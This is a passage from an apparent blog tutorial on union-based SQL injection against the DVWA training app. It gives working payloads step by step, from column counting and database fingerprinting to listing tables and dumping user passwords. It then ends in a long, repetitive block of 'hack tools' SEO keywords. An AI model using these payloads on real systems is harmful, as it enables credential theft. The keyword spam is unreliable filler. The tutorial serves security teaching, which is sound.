SELECT first_name, sur_name FROM users WHERE user_id = '1';
SELECT first_name, sur_name FROM users WHERE user_id = ''';
'-- -
or
'#
we should get no error. Now our crafted query looks like this:
SELECT first_name, sur_name FROM users WHERE user_id = ''-- -';
SELECT first_name, sur_name FROM users WHERE user_id = ''#';
First of all we will try to determine the number of columns that the query outputs because if we try a query which will output the number of columns greater or smaller than what the original query outputs then our query is going to get an error. So we will first figure out the exact number of columns that the query outputs and we will do that with the help of order by sql statement like this:
' order by 1-- -
SELECT first_name, sur_name FROM users WHERE user_id = '' order by 1-- -';
if we don't get any error message, we will increase the number to 2 like this:
' order by 2-- -
' order by 3-- -
' union select null, version()-- -
We have used null as one column since we need to match the number of columns from the server query which is two. null will act as a dummy column here which will give no output and the second column which in our case here is the version() command will output the database version. Notice the output from the application, nothing is shown for First name since we specified null for it and the maria db version will be displayed in Surname.
Now lets check who the database user is using the user() function of mariadb:
' union select null, user()-- -
Now lets get some information about the databases in the database.
Lets determine the names of databases from INFORMATION_SCHEMA.SCHEMATA by entering following input in the User ID field:
' union select null, SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA-- -
Get table names for dvwa database from INFORMATION_SCHEMA.TABLES
' union select null, TABLE_NAME from INFORMATION_SCHEMA.TABLES-- -
' union select null, COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users'-- -
We can see the password column in the output now lets get those passwords:
' union select user, password from users-- -
Hope you learned something about SQL injection in this article. See you next time.
References:
1. SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection2. MySQL UNION: https://www.mysqltutorial.org/sql-union-mysql.aspx
3. Chapter 25 INFORMATION_SCHEMA Tables: https://dev.mysql.com/doc/refman/8.0/en/information-schema.html
- Android Hack Tools Github
- Pentest Tools Windows
- Pentest Tools Online
- Hacking Tools Free Download
- Hacking Tools For Mac
- Tools 4 Hack
- Hacking Tools 2020
- Hack Tools For Ubuntu
- Hacker
- How To Install Pentest Tools In Ubuntu
- Easy Hack Tools
- Hacking Tools Mac
- Pentest Tools Kali Linux
- Pentest Tools For Mac
- Pentest Tools Website
- Hacking Tools Github
- Hack Tool Apk
- Hack And Tools
- Physical Pentest Tools
- Pentest Tools Nmap
- Github Hacking Tools
- Hacker Tools Mac
- Usb Pentest Tools
- Hack And Tools
- Hack Tools For Pc
- Hacker Tools Linux
- Hacking Tools For Games
- Pentest Recon Tools
- How To Hack
- Hacker Tools Apk
- Pentest Tools Tcp Port Scanner
- Hak5 Tools
- Hacker Tools Windows
- Github Hacking Tools
- Pentest Tools Online
- Hacking Apps
- Pentest Tools Bluekeep
- Pentest Tools Free
- Hacker Hardware Tools
- Bluetooth Hacking Tools Kali
- Pentest Recon Tools
- Hacker Tool Kit
- Pentest Automation Tools
- Hacking Tools Pc
- Pentest Tools Website
- Hacking Tools For Beginners
- Hacker Tools Software
- Pentest Box Tools Download
- Hacker Tools Software
- Pentest Tools Github
- Hack App
- Hack Tools For Windows
- Hack Tools
- Hacker Tools For Windows
- Hack Tools Pc
- Underground Hacker Sites
- Pentest Tools Nmap
- Hack Tools For Pc
- How To Install Pentest Tools In Ubuntu
- Hacking Tools Software
- Hacker
- Nsa Hack Tools Download
- Pentest Tools Website Vulnerability
- Hacker Tools List
- Android Hack Tools Github
- Hacking Tools Windows 10
- Hack Tool Apk No Root
- Pentest Tools Port Scanner
- Usb Pentest Tools
- Hacker Hardware Tools
- Pentest Tools Windows
- Hack Tools For Mac
- Hacking Tools For Windows
- Tools For Hacker
- Hacker Tools 2019
- Hacker Hardware Tools
- Hacking Tools For Windows
- Hack Tools For Pc
- Pentest Tools
- Hack Tools Github
- Nsa Hack Tools Download
- Hack Tools Pc
- Hacking Tools Software
- Pentest Tools Website Vulnerability
- Hack Rom Tools
- Black Hat Hacker Tools
- Hacking Tools 2019
- Pentest Tools Download
- Nsa Hack Tools Download
- Top Pentest Tools
- Hacking Tools Download
- Free Pentest Tools For Windows
- Easy Hack Tools
- Hacker Tools For Mac
- Hacker Tools Online
- Pentest Tools
- Growth Hacker Tools
- Hacker Tools Mac
- Physical Pentest Tools
- Hacking App
- Hack Tools For Pc
- Pentest Tools Open Source
- Pentest Automation Tools
- Hack Tools For Pc
- Pentest Tools Review
- Pentest Reporting Tools
- Hack Tools 2019
- Black Hat Hacker Tools
- Nsa Hack Tools Download
- Android Hack Tools Github
- Pentest Tools Subdomain
- Hacker Tools Online
- What Is Hacking Tools
- Pentest Tools For Ubuntu
- Hacker Tools Windows
- Hack Tools For Pc
- Hacking App
- Wifi Hacker Tools For Windows
- Pentest Tools Windows
- Pentest Tools Online
- Computer Hacker
- Hack Tools For Windows
- Hacker Tools For Ios
- Pentest Tools Website
- Github Hacking Tools
- Top Pentest Tools
- Top Pentest Tools